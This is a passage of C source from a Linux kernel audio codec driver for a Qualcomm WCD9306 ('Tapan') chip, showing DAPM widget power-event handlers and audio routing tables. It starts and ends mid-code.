widget_name = kstrndup(w->name, 15, GFP_KERNEL);
if (!widget_name)
return -ENOMEM;
temp = widget_name;
dec_name = strsep(&widget_name, " ");
widget_name = temp;
if (!dec_name) {
pr_err("%s: Invalid decimator = %s\n", __func__, w->name);
ret = -EINVAL;
goto out;
}
srch = strpbrk(dec_name, "123456789");
if (srch == NULL) {
pr_err("%s: Invalid decimator name %s\n", __func__, dec_name);
return -EINVAL;
}
ret = kstrtouint(srch, 10, &decimator);
if (ret < 0) {
pr_err("%s: Invalid decimator = %s\n", __func__, dec_name);
ret = -EINVAL;
goto out;
}
dev_dbg(codec->dev, "%s(): widget = %s dec_name = %s decimator = %u\n",
__func__, w->name, dec_name, decimator);
if (w->reg == TAPAN_A_CDC_CLK_TX_CLK_EN_B1_CTL) {
dec_reset_reg = TAPAN_A_CDC_CLK_TX_RESET_B1_CTL;
offset = 0;
} else if (w->reg == TAPAN_A_CDC_CLK_TX_CLK_EN_B2_CTL) {
dec_reset_reg = TAPAN_A_CDC_CLK_TX_RESET_B2_CTL;
offset = 8;
} else {
pr_err("%s: Error, incorrect dec\n", __func__);
ret = -EINVAL;
goto out;
}
tx_vol_ctl_reg = TAPAN_A_CDC_TX1_VOL_CTL_CFG + 8 * (decimator - 1);
tx_mux_ctl_reg = TAPAN_A_CDC_TX1_MUX_CTL + 8 * (decimator - 1);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
for (i = 0; i < NUM_DECIMATORS; i++) {
if (decimator == i + 1)
tapan_p->dec_active[i] = true;
}
/* Enableable TX digital mute */
snd_soc_update_bits(codec, tx_vol_ctl_reg, 0x01, 0x01);
snd_soc_update_bits(codec, dec_reset_reg, 1 << w->shift,
1 << w->shift);
snd_soc_update_bits(codec, dec_reset_reg, 1 << w->shift, 0x0);
dec_hpf_cut_of_freq = snd_soc_read(codec, tx_mux_ctl_reg);
dec_hpf_cut_of_freq = (dec_hpf_cut_of_freq & 0x30) >> 4;
tx_hpf_work[decimator - 1].tx_hpf_cut_of_freq =
dec_hpf_cut_of_freq;
if ((dec_hpf_cut_of_freq != CF_MIN_3DB_150HZ)) {
/* set cut of freq to CF_MIN_3DB_150HZ (0x1); */
snd_soc_update_bits(codec, tx_mux_ctl_reg, 0x30,
CF_MIN_3DB_150HZ << 4);
}
/* enable HPF */
snd_soc_update_bits(codec, tx_mux_ctl_reg , 0x08, 0x00);
snd_soc_update_bits(codec, TAPAN_A_TX_1_2_TXFE_CLKDIV,
0x55, 0x44);
break;
case SND_SOC_DAPM_POST_PMU:
if (tapan_p->lb_mode) {
pr_debug("%s: loopback mode unmute the DEC\n",
__func__);
snd_soc_update_bits(codec, tx_vol_ctl_reg, 0x01, 0x00);
}
if (tx_hpf_work[decimator - 1].tx_hpf_cut_of_freq !=
CF_MIN_3DB_150HZ) {
schedule_delayed_work(&tx_hpf_work[decimator - 1].dwork,
msecs_to_jiffies(300));
}
/* apply the digital gain after the decimator is enabled*/
if ((w->shift + offset) < ARRAY_SIZE(tx_digital_gain_reg))
snd_soc_write(codec,
tx_digital_gain_reg[w->shift + offset],
snd_soc_read(codec,
tx_digital_gain_reg[w->shift + offset])
);
break;
case SND_SOC_DAPM_PRE_PMD:
snd_soc_update_bits(codec, tx_vol_ctl_reg, 0x01, 0x01);
cancel_delayed_work_sync(&tx_hpf_work[decimator - 1].dwork);
break;
case SND_SOC_DAPM_POST_PMD:
snd_soc_update_bits(codec, tx_mux_ctl_reg, 0x08, 0x08);
snd_soc_update_bits(codec, tx_mux_ctl_reg, 0x30,
(tx_hpf_work[decimator - 1].tx_hpf_cut_of_freq) << 4);
for (i = 0; i < NUM_DECIMATORS; i++) {
if (decimator == i + 1)
tapan_p->dec_active[i] = false;
}
break;
}
out:
kfree(widget_name);
return ret;
}
static int tapan_codec_enable_vdd_spkr(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct wcd9xxx *core = dev_get_drvdata(codec->dev->parent);
dev_dbg(codec->dev, "%s: %s %d\n", __func__, w->name, event);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
if (spkr_drv_wrnd > 0) {
WARN_ON(!(snd_soc_read(codec, TAPAN_A_SPKR_DRV_EN) &
0x80));
snd_soc_update_bits(codec, TAPAN_A_SPKR_DRV_EN, 0x80,
0x00);
}
if (TAPAN_IS_1_0(core->version))
snd_soc_update_bits(codec, TAPAN_A_SPKR_DRV_DBG_PWRSTG,
0x24, 0x00);
break;
case SND_SOC_DAPM_POST_PMD:
if (TAPAN_IS_1_0(core->version))
snd_soc_update_bits(codec, TAPAN_A_SPKR_DRV_DBG_PWRSTG,
0x24, 0x24);
if (spkr_drv_wrnd > 0) {
WARN_ON(!!(snd_soc_read(codec, TAPAN_A_SPKR_DRV_EN) &
0x80));
snd_soc_update_bits(codec, TAPAN_A_SPKR_DRV_EN, 0x80,
0x80);
}
break;
}
return 0;
}
static int tapan_codec_rx_dem_select(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
pr_debug("%s %d %s\n", __func__, event, w->name);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
if (codec_ver == WCD9306)
snd_soc_update_bits(codec, TAPAN_A_CDC_RX2_B6_CTL,
1 << 5, 1 << 5);
break;
case SND_SOC_DAPM_POST_PMD:
if (codec_ver == WCD9306)
snd_soc_update_bits(codec, TAPAN_A_CDC_RX2_B6_CTL,
1 << 5, 0);
break;
}
return 0;
}
static int tapan_codec_enable_interpolator(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
dev_dbg(codec->dev, "%s %d %s\n", __func__, event, w->name);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_RX_RESET_CTL,
1 << w->shift, 1 << w->shift);
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_RX_RESET_CTL,
1 << w->shift, 0x0);
break;
case SND_SOC_DAPM_POST_PMU:
/* apply the digital gain after the interpolator is enabled*/
if ((w->shift) < ARRAY_SIZE(rx_digital_gain_reg))
snd_soc_write(codec,
rx_digital_gain_reg[w->shift],
snd_soc_read(codec,
rx_digital_gain_reg[w->shift])
);
break;
}
return 0;
}
/* called under codec_resource_lock acquisition */
static int __tapan_codec_enable_ldo_h(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *priv = snd_soc_codec_get_drvdata(codec);
pr_debug("%s: enter\n", __func__);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
/*
* ldo_h_users is protected by codec->mutex, don't need
* additional mutex
*/
if (++priv->ldo_h_users == 1) {
WCD9XXX_BG_CLK_LOCK(&priv->resmgr);
wcd9xxx_resmgr_get_bandgap(&priv->resmgr,
WCD9XXX_BANDGAP_AUDIO_MODE);
wcd9xxx_resmgr_get_clk_block(&priv->resmgr,
WCD9XXX_CLK_RCO);
snd_soc_update_bits(codec, TAPAN_A_LDO_H_MODE_1, 1 << 7,
1 << 7);
wcd9xxx_resmgr_put_clk_block(&priv->resmgr,
WCD9XXX_CLK_RCO);
WCD9XXX_BG_CLK_UNLOCK(&priv->resmgr);
pr_debug("%s: ldo_h_users %d\n", __func__,
priv->ldo_h_users);
/* LDO enable requires 1ms to settle down */
usleep_range(1000, 1010);
}
break;
case SND_SOC_DAPM_POST_PMD:
if (--priv->ldo_h_users == 0) {
WCD9XXX_BG_CLK_LOCK(&priv->resmgr);
wcd9xxx_resmgr_get_clk_block(&priv->resmgr,
WCD9XXX_CLK_RCO);
snd_soc_update_bits(codec, TAPAN_A_LDO_H_MODE_1, 1 << 7,
0);
wcd9xxx_resmgr_put_clk_block(&priv->resmgr,
WCD9XXX_CLK_RCO);
wcd9xxx_resmgr_put_bandgap(&priv->resmgr,
WCD9XXX_BANDGAP_AUDIO_MODE);
WCD9XXX_BG_CLK_UNLOCK(&priv->resmgr);
pr_debug("%s: ldo_h_users %d\n", __func__,
priv->ldo_h_users);
}
WARN(priv->ldo_h_users < 0, "Unexpected ldo_h users %d\n",
priv->ldo_h_users);
break;
}
pr_debug("%s: leave\n", __func__);
return 0;
}
static int tapan_codec_enable_ldo_h(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
int rc;
rc = __tapan_codec_enable_ldo_h(w, kcontrol, event);
return rc;
}
static int tapan_codec_enable_rx_bias(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
dev_dbg(codec->dev, "%s %d\n", __func__, event);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
wcd9xxx_resmgr_enable_rx_bias(&tapan->resmgr, 1);
break;
case SND_SOC_DAPM_POST_PMD:
wcd9xxx_resmgr_enable_rx_bias(&tapan->resmgr, 0);
break;
}
return 0;
}
static int tapan_hphl_dac_event(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan_p = snd_soc_codec_get_drvdata(codec);
dev_dbg(codec->dev, "%s %s %d\n", __func__, w->name, event);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_RDAC_CLK_EN_CTL,
0x02, 0x02);
wcd9xxx_clsh_fsm(codec, &tapan_p->clsh_d,
WCD9XXX_CLSH_STATE_HPHL,
WCD9XXX_CLSH_REQ_ENABLE,
WCD9XXX_CLSH_EVENT_PRE_DAC);
break;
case SND_SOC_DAPM_POST_PMD:
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_RDAC_CLK_EN_CTL,
0x02, 0x00);
}
return 0;
}
static int tapan_hphr_dac_event(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan_p = snd_soc_codec_get_drvdata(codec);
dev_dbg(codec->dev, "%s %s %d\n", __func__, w->name, event);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_RDAC_CLK_EN_CTL,
0x04, 0x04);
snd_soc_update_bits(codec, w->reg, 0x40, 0x40);
wcd9xxx_clsh_fsm(codec, &tapan_p->clsh_d,
WCD9XXX_CLSH_STATE_HPHR,
WCD9XXX_CLSH_REQ_ENABLE,
WCD9XXX_CLSH_EVENT_PRE_DAC);
break;
case SND_SOC_DAPM_POST_PMD:
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_RDAC_CLK_EN_CTL,
0x04, 0x00);
snd_soc_update_bits(codec, w->reg, 0x40, 0x00);
break;
}
return 0;
}
static int tapan_hph_pa_event(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
enum wcd9xxx_notify_event e_pre_on, e_post_off;
u8 req_clsh_state;
u32 pa_settle_time = TAPAN_HPH_PA_SETTLE_COMP_OFF;
dev_dbg(codec->dev, "%s: %s event = %d\n", __func__, w->name, event);
if (w->shift == 5) {
e_pre_on = WCD9XXX_EVENT_PRE_HPHL_PA_ON;
e_post_off = WCD9XXX_EVENT_POST_HPHL_PA_OFF;
req_clsh_state = WCD9XXX_CLSH_STATE_HPHR;
} else if (w->shift == 4) {
e_pre_on = WCD9XXX_EVENT_PRE_HPHR_PA_ON;
e_post_off = WCD9XXX_EVENT_POST_HPHR_PA_OFF;
req_clsh_state = WCD9XXX_CLSH_STATE_HPHL;
} else {
pr_err("%s: Invalid w->shift %d\n", __func__, w->shift);
return -EINVAL;
}
if (tapan->comp_enabled[COMPANDER_1])
pa_settle_time = TAPAN_HPH_PA_SETTLE_COMP_ON;
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
/* Let MBHC module know PA is turning on */
wcd9xxx_resmgr_notifier_call(&tapan->resmgr, e_pre_on);
break;
case SND_SOC_DAPM_POST_PMU:
dev_dbg(codec->dev, "%s: sleep %d ms after %s PA enable.\n",
__func__, pa_settle_time / 1000, w->name);
/* Time needed for PA to settle */
usleep_range(pa_settle_time, pa_settle_time + 1000);
wcd9xxx_clsh_fsm(codec, &tapan->clsh_d,
req_clsh_state,
WCD9XXX_CLSH_REQ_ENABLE,
WCD9XXX_CLSH_EVENT_POST_PA);
break;
case SND_SOC_DAPM_POST_PMD:
dev_dbg(codec->dev, "%s: sleep %d ms after %s PA disable.\n",
__func__, pa_settle_time / 1000, w->name);
/* Time needed for PA to settle */
usleep_range(pa_settle_time, pa_settle_time + 1000);
/* Let MBHC module know PA turned off */
wcd9xxx_resmgr_notifier_call(&tapan->resmgr, e_post_off);
wcd9xxx_clsh_fsm(codec, &tapan->clsh_d,
req_clsh_state,
WCD9XXX_CLSH_REQ_DISABLE,
WCD9XXX_CLSH_EVENT_POST_PA);
break;
}
return 0;
}
static int tapan_codec_enable_anc_hph(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
int ret = 0;
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
ret = tapan_hph_pa_event(w, kcontrol, event);
if (w->shift == 4) {
ret |= tapan_codec_enable_anc(w, kcontrol, event);
msleep(50);
}
break;
case SND_SOC_DAPM_POST_PMU:
if (w->shift == 4) {
snd_soc_update_bits(codec,
TAPAN_A_RX_HPH_CNP_EN, 0x30, 0x30);
msleep(30);
}
ret = tapan_hph_pa_event(w, kcontrol, event);
break;
case SND_SOC_DAPM_PRE_PMD:
if (w->shift == 5) {
snd_soc_update_bits(codec,
TAPAN_A_RX_HPH_CNP_EN, 0x30, 0x00);
msleep(40);
snd_soc_update_bits(codec,
TAPAN_A_TX_7_MBHC_EN, 0x80, 00);
ret |= tapan_codec_enable_anc(w, kcontrol, event);
}
break;
case SND_SOC_DAPM_POST_PMD:
ret = tapan_hph_pa_event(w, kcontrol, event);
break;
}
return ret;
}
static const struct snd_soc_dapm_widget tapan_dapm_i2s_widgets[] = {
SND_SOC_DAPM_SUPPLY("I2S_CLK", TAPAN_A_CDC_CLK_I2S_CTL,
4, 0, NULL, 0),
};
static int tapan_lineout_dac_event(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
dev_dbg(codec->dev, "%s %s %d\n", __func__, w->name, event);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
wcd9xxx_clsh_fsm(codec, &tapan->clsh_d,
WCD9XXX_CLSH_STATE_LO,
WCD9XXX_CLSH_REQ_ENABLE,
WCD9XXX_CLSH_EVENT_PRE_DAC);
snd_soc_update_bits(codec, w->reg, 0x40, 0x40);
break;
case SND_SOC_DAPM_POST_PMD:
snd_soc_update_bits(codec, w->reg, 0x40, 0x00);
break;
}
return 0;
}
static int tapan_spk_dac_event(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
dev_dbg(codec->dev, "%s %s %d\n", __func__, w->name, event);
return 0;
}
static const struct snd_soc_dapm_route audio_i2s_map[] = {
{"I2S_CLK", NULL, "CDC_CONN"},
{"SLIM RX1", NULL, "I2S_CLK"},
{"SLIM RX2", NULL, "I2S_CLK"},
{"SLIM TX1 MUX", NULL, "I2S_CLK"},
{"SLIM TX2 MUX", NULL, "I2S_CLK"},
};
static const struct snd_soc_dapm_route wcd9306_map[] = {
{"SLIM TX1 MUX", "RMIX4", "RX4 MIX1"},
{"SLIM TX2 MUX", "RMIX4", "RX4 MIX1"},
{"SLIM TX3 MUX", "RMIX4", "RX4 MIX1"},
{"SLIM TX4 MUX", "RMIX4", "RX4 MIX1"},
{"SLIM TX5 MUX", "RMIX4", "RX4 MIX1"},
{"SLIM TX1 MUX", "DEC3", "DEC3 MUX"},
{"SLIM TX1 MUX", "DEC4", "DEC4 MUX"},
{"SLIM TX2 MUX", "DEC3", "DEC3 MUX"},
{"SLIM TX2 MUX", "DEC4", "DEC4 MUX"},
{"SLIM TX3 MUX", "DEC3", "DEC3 MUX"},
{"SLIM TX4 MUX", "DEC4", "DEC4 MUX"},
{"ANC EAR", NULL, "ANC EAR PA"},
{"ANC EAR PA", NULL, "EAR_PA_MIXER"},
{"ANC1 FB MUX", "EAR_HPH_L", "RX1 MIX2"},
{"ANC1 FB MUX", "EAR_LINE_1", "RX2 MIX2"},
{"ANC HEADPHONE", NULL, "ANC HPHL"},
{"ANC HEADPHONE", NULL, "ANC HPHR"},
{"ANC HPHL", NULL, "HPHL_PA_MIXER"},
{"ANC HPHR", NULL, "HPHR_PA_MIXER"},
{"ANC1 MUX", "ADC1", "ADC1"},
{"ANC1 MUX", "ADC2", "ADC2"},
{"ANC1 MUX", "ADC3", "ADC3"},
{"ANC1 MUX", "ADC4", "ADC4"},
{"ANC1 MUX", "ADC5", "ADC5"},
{"ANC1 MUX", "DMIC1", "DMIC1"},
{"ANC1 MUX", "DMIC2", "DMIC2"},
{"ANC1 MUX", "DMIC3", "DMIC3"},
{"ANC1 MUX", "DMIC4", "DMIC4"},
{"ANC2 MUX", "ADC1", "ADC1"},
{"ANC2 MUX", "ADC2", "ADC2"},
{"ANC2 MUX", "ADC3", "ADC3"},
{"ANC2 MUX", "ADC4", "ADC4"},
{"ANC2 MUX", "ADC5", "ADC5"},
{"ANC2 MUX", "DMIC1", "DMIC1"},
{"ANC2 MUX", "DMIC2", "DMIC2"},
{"ANC2 MUX", "DMIC3", "DMIC3"},
{"ANC2 MUX", "DMIC4", "DMIC4"},
{"ANC HPHR", NULL, "CDC_CONN"},
{"RDAC5 MUX", "DEM4", "RX4 MIX2"},
{"SPK DAC", "Switch", "RX4 MIX2"},
{"RX1 MIX2", NULL, "ANC1 MUX"},
{"RX2 MIX2", NULL, "ANC2 MUX"},
{"RX1 MIX1", NULL, "COMP1_CLK"},
{"RX2 MIX1", NULL, "COMP1_CLK"},
{"RX3 MIX1", NULL, "COMP2_CLK"},
{"RX4 MIX1", NULL, "COMP0_CLK"},
{"RX4 MIX1", NULL, "RX4 MIX1 INP1"},
{"RX4 MIX1", NULL, "RX4 MIX1 INP2"},
{"RX4 MIX2", NULL, "RX4 MIX1"},
{"RX4 MIX2", NULL, "RX4 MIX2 INP1"},
{"RX4 MIX2", NULL, "RX4 MIX2 INP2"},
{"RX4 MIX1 INP1", "RX1", "SLIM RX1"},
{"RX4 MIX1 INP1", "RX2", "SLIM RX2"},
{"RX4 MIX1 INP1", "RX3", "SLIM RX3"},
{"RX4 MIX1 INP1", "RX4", "SLIM RX4"},
{"RX4 MIX1 INP1", "RX5", "SLIM RX5"},
{"RX4 MIX1 INP1", "IIR1", "IIR1"},
{"RX4 MIX1 INP2", "RX1", "SLIM RX1"},
{"RX4 MIX1 INP2", "RX2", "SLIM RX2"},
{"RX4 MIX1 INP2", "RX3", "SLIM RX3"},
{"RX4 MIX1 INP2", "RX5", "SLIM RX5"},
{"RX4 MIX1 INP2", "RX4", "SLIM RX4"},
{"RX4 MIX1 INP2", "IIR1", "IIR1"},
{"RX4 MIX2 INP1", "IIR1", "IIR1"},
{"RX4 MIX2 INP2", "IIR1", "IIR1"},
{"DEC1 MUX", "DMIC3", "DMIC3"},
{"DEC1 MUX", "DMIC4", "DMIC4"},
{"DEC2 MUX", "DMIC3", "DMIC3"},
{"DEC2 MUX", "DMIC4", "DMIC4"},
{"DEC3 MUX", "ADC1", "ADC1"},
{"DEC3 MUX", "ADC2", "ADC2"},
{"DEC3 MUX", "ADC3", "ADC3"},
{"DEC3 MUX", "ADC4", "ADC4"},
{"DEC3 MUX", "ADC5", "ADC5"},
{"DEC3 MUX", "DMIC1", "DMIC1"},
{"DEC3 MUX", "DMIC2", "DMIC2"},
{"DEC3 MUX", "DMIC3", "DMIC3"},
{"DEC3 MUX", "DMIC4", "DMIC4"},
{"DEC3 MUX", NULL, "CDC_CONN"},
{"DEC4 MUX", "ADC1", "ADC1"},
{"DEC4 MUX", "ADC2", "ADC2"},
{"DEC4 MUX", "ADC3", "ADC3"},
{"DEC4 MUX", "ADC4", "ADC4"},
{"DEC4 MUX", "ADC5", "ADC5"},
{"DEC4 MUX", "DMIC1", "DMIC1"},
{"DEC4 MUX", "DMIC2", "DMIC2"},
{"DEC4 MUX", "DMIC3", "DMIC3"},
{"DEC4 MUX", "DMIC4", "DMIC4"},
{"DEC4 MUX", NULL, "CDC_CONN"},
{"ADC5", NULL, "AMIC5"},
{"AUX_PGA_Left", NULL, "AMIC5"},
{"IIR1 INP1 MUX", "DEC3", "DEC3 MUX"},
{"IIR1 INP1 MUX", "DEC4", "DEC4 MUX"},
{"MIC BIAS3 Internal1", NULL, "LDO_H"},
{"MIC BIAS3 Internal2", NULL, "LDO_H"},
{"MIC BIAS3 External", NULL, "LDO_H"},
};
static const struct snd_soc_dapm_route audio_map[] = {
/* SLIMBUS Connections */
{"AIF1 CAP", NULL, "AIF1_CAP Mixer"},
{"AIF2 CAP", NULL, "AIF2_CAP Mixer"},
{"AIF3 CAP", NULL, "AIF3_CAP Mixer"},
/* SLIM_MIXER("AIF1_CAP Mixer"),*/
{"AIF1_CAP Mixer", "SLIM TX1", "SLIM TX1 MUX"},
{"AIF1_CAP Mixer", "SLIM TX2", "SLIM TX2 MUX"},
{"AIF1_CAP Mixer", "SLIM TX3", "SLIM TX3 MUX"},
{"AIF1_CAP Mixer", "SLIM TX4", "SLIM TX4 MUX"},
{"AIF1_CAP Mixer", "SLIM TX5", "SLIM TX5 MUX"},
/* SLIM_MIXER("AIF2_CAP Mixer"),*/
{"AIF2_CAP Mixer", "SLIM TX1", "SLIM TX1 MUX"},
{"AIF2_CAP Mixer", "SLIM TX2", "SLIM TX2 MUX"},
{"AIF2_CAP Mixer", "SLIM TX3", "SLIM TX3 MUX"},
{"AIF2_CAP Mixer", "SLIM TX4", "SLIM TX4 MUX"},
{"AIF2_CAP Mixer", "SLIM TX5", "SLIM TX5 MUX"},
/* SLIM_MIXER("AIF3_CAP Mixer"),*/
{"AIF3_CAP Mixer", "SLIM TX1", "SLIM TX1 MUX"},
{"AIF3_CAP Mixer", "SLIM TX2", "SLIM TX2 MUX"},
{"AIF3_CAP Mixer", "SLIM TX3", "SLIM TX3 MUX"},
{"AIF3_CAP Mixer", "SLIM TX4", "SLIM TX4 MUX"},
{"AIF3_CAP Mixer", "SLIM TX5", "SLIM TX5 MUX"},
{"SLIM TX1 MUX", "DEC1", "DEC1 MUX"},
{"SLIM TX1 MUX", "DEC2", "DEC2 MUX"},
{"SLIM TX1 MUX", "RMIX1", "RX1 MIX1"},
{"SLIM TX1 MUX", "RMIX2", "RX2 MIX1"},
{"SLIM TX1 MUX", "RMIX3", "RX3 MIX1"},
{"SLIM TX2 MUX", "DEC1", "DEC1 MUX"},
{"SLIM TX2 MUX", "DEC2", "DEC2 MUX"},
{"SLIM TX2 MUX", "RMIX1", "RX1 MIX1"},
{"SLIM TX2 MUX", "RMIX2", "RX2 MIX1"},
{"SLIM TX2 MUX", "RMIX3", "RX3 MIX1"},
{"SLIM TX3 MUX", "RMIX1", "RX1 MIX1"},
{"SLIM TX3 MUX", "RMIX2", "RX2 MIX1"},
{"SLIM TX3 MUX", "RMIX3", "RX3 MIX1"},
{"SLIM TX4 MUX", "RMIX1", "RX1 MIX1"},
{"SLIM TX4 MUX", "RMIX2", "RX2 MIX1"},
{"SLIM TX4 MUX", "RMIX3", "RX3 MIX1"},
{"SLIM TX5 MUX", "DEC1", "DEC1 MUX"},
{"SLIM TX5 MUX", "RMIX1", "RX1 MIX1"},
{"SLIM TX5 MUX", "RMIX2", "RX2 MIX1"},
{"SLIM TX5 MUX", "RMIX3", "RX3 MIX1"},
/* Earpiece (RX MIX1) */
{"EAR", NULL, "EAR PA"},
{"EAR PA", NULL, "EAR_PA_MIXER"},
{"EAR_PA_MIXER", NULL, "DAC1"},
{"DAC1", NULL, "RX_BIAS"},
{"DAC1", NULL, "CDC_CP_VDD"},
/* Headset (RX MIX1 and RX MIX2) */
{"HEADPHONE", NULL, "HPHL"},
{"HEADPHONE", NULL, "HPHR"},
{"HPHL", NULL, "HPHL_PA_MIXER"},
{"HPHL_PA_MIXER", NULL, "HPHL DAC"},
{"HPHL DAC", NULL, "RX_BIAS"},
{"HPHL DAC", NULL, "CDC_CP_VDD"},
{"HPHR", NULL, "HPHR_PA_MIXER"},
{"HPHR_PA_MIXER", NULL, "HPHR DAC"},
{"HPHR DAC", NULL, "RX_BIAS"},
{"HPHR DAC", NULL, "CDC_CP_VDD"},
{"DAC1", "Switch", "CLASS_H_DSM MUX"},
{"HPHL DAC", "Switch", "CLASS_H_DSM MUX"},
{"HPHR DAC", NULL, "RDAC3 MUX"},
{"LINEOUT1", NULL, "LINEOUT1 PA"},
{"LINEOUT2", NULL, "LINEOUT2 PA"},
{"SPK_OUT", NULL, "SPK PA"},
{"LINEOUT1 PA", NULL, "LINEOUT1_PA_MIXER"},
{"LINEOUT1_PA_MIXER", NULL, "LINEOUT1 DAC"},
{"LINEOUT2 PA", NULL, "LINEOUT2_PA_MIXER"},
{"LINEOUT2_PA_MIXER", NULL, "LINEOUT2 DAC"},
{"RDAC5 MUX", "DEM3_INV", "RX3 MIX1"},
{"LINEOUT2 DAC", NULL, "RDAC5 MUX"},
{"RDAC4 MUX", "DEM3", "RX3 MIX1"},
{"RDAC4 MUX", "DEM2", "RX2 CHAIN"},
{"LINEOUT1 DAC", NULL, "RDAC4 MUX"},
{"SPK PA", NULL, "SPK DAC"},
{"SPK DAC", NULL, "VDD_SPKDRV"},
{"RX1 INTERPOLATOR", NULL, "RX1 MIX2"},
{"RX1 CHAIN", NULL, "RX1 INTERPOLATOR"},
{"RX2 INTERPOLATOR", NULL, "RX2 MIX2"},
{"RX2 CHAIN", NULL, "RX2 INTERPOLATOR"},
{"CLASS_H_DSM MUX", "RX_HPHL", "RX1 CHAIN"},
{"LINEOUT1 DAC", NULL, "RX_BIAS"},
{"LINEOUT2 DAC", NULL, "RX_BIAS"},
{"LINEOUT1 DAC", NULL, "CDC_CP_VDD"},
{"LINEOUT2 DAC", NULL, "CDC_CP_VDD"},
{"RDAC3 MUX", "DEM2", "RX2 CHAIN"},
{"RDAC3 MUX", "DEM1", "RX1 CHAIN"},
{"RX1 MIX1", NULL, "RX1 MIX1 INP1"},
{"RX1 MIX1", NULL, "RX1 MIX1 INP2"},
{"RX1 MIX1", NULL, "RX1 MIX1 INP3"},
{"RX2 MIX1", NULL, "RX2 MIX1 INP1"},
{"RX2 MIX1", NULL, "RX2 MIX1 INP2"},
{"RX3 MIX1", NULL, "RX3 MIX1 INP1"},
{"RX3 MIX1", NULL, "RX3 MIX1 INP2"},
{"RX1 MIX2", NULL, "RX1 MIX1"},
{"RX1 MIX2", NULL, "RX1 MIX2 INP1"},
{"RX1 MIX2", NULL, "RX1 MIX2 INP2"},
{"RX2 MIX2", NULL, "RX2 MIX1"},
{"RX2 MIX2", NULL, "RX2 MIX2 INP1"},
{"RX2 MIX2", NULL, "RX2 MIX2 INP2"},
/* SLIM_MUX("AIF1_PB", "AIF1 PB"),*/
{"SLIM RX1 MUX", "AIF1_PB", "AIF1 PB"},
{"SLIM RX2 MUX", "AIF1_PB", "AIF1 PB"},
{"SLIM RX3 MUX", "AIF1_PB", "AIF1 PB"},
{"SLIM RX4 MUX", "AIF1_PB", "AIF1 PB"},
{"SLIM RX5 MUX", "AIF1_PB", "AIF1 PB"},
/* SLIM_MUX("AIF2_PB", "AIF2 PB"),*/
{"SLIM RX1 MUX", "AIF2_PB", "AIF2 PB"},
{"SLIM RX2 MUX", "AIF2_PB", "AIF2 PB"},
{"SLIM RX3 MUX", "AIF2_PB", "AIF2 PB"},
{"SLIM RX4 MUX", "AIF2_PB", "AIF2 PB"},
{"SLIM RX5 MUX", "AIF2_PB", "AIF2 PB"},
/* SLIM_MUX("AIF3_PB", "AIF3 PB"),*/
{"SLIM RX1 MUX", "AIF3_PB", "AIF3 PB"},
{"SLIM RX2 MUX", "AIF3_PB", "AIF3 PB"},
{"SLIM RX3 MUX", "AIF3_PB", "AIF3 PB"},
{"SLIM RX4 MUX", "AIF3_PB", "AIF3 PB"},
{"SLIM RX5 MUX", "AIF3_PB", "AIF3 PB"},
{"SLIM RX1", NULL, "SLIM RX1 MUX"},
{"SLIM RX2", NULL, "SLIM RX2 MUX"},
{"SLIM RX3", NULL, "SLIM RX3 MUX"},
{"SLIM RX4", NULL, "SLIM RX4 MUX"},
{"SLIM RX5", NULL, "SLIM RX5 MUX"},
{"RX1 MIX1 INP1", "RX1", "SLIM RX1"},
{"RX1 MIX1 INP1", "RX2", "SLIM RX2"},
{"RX1 MIX1 INP1", "RX3", "SLIM RX3"},
{"RX1 MIX1 INP1", "RX4", "SLIM RX4"},
{"RX1 MIX1 INP1", "RX5", "SLIM RX5"},
{"RX1 MIX1 INP1", "IIR1", "IIR1"},
{"RX1 MIX1 INP1", "IIR2", "IIR2"},
{"RX1 MIX1 INP2", "RX1", "SLIM RX1"},
{"RX1 MIX1 INP2", "RX2", "SLIM RX2"},
{"RX1 MIX1 INP2", "RX3", "SLIM RX3"},
{"RX1 MIX1 INP2", "RX4", "SLIM RX4"},
{"RX1 MIX1 INP2", "RX5", "SLIM RX5"},
{"RX1 MIX1 INP2", "IIR1", "IIR1"},
{"RX1 MIX1 INP2", "IIR2", "IIR2"},
{"RX1 MIX1 INP3", "RX1", "SLIM RX1"},
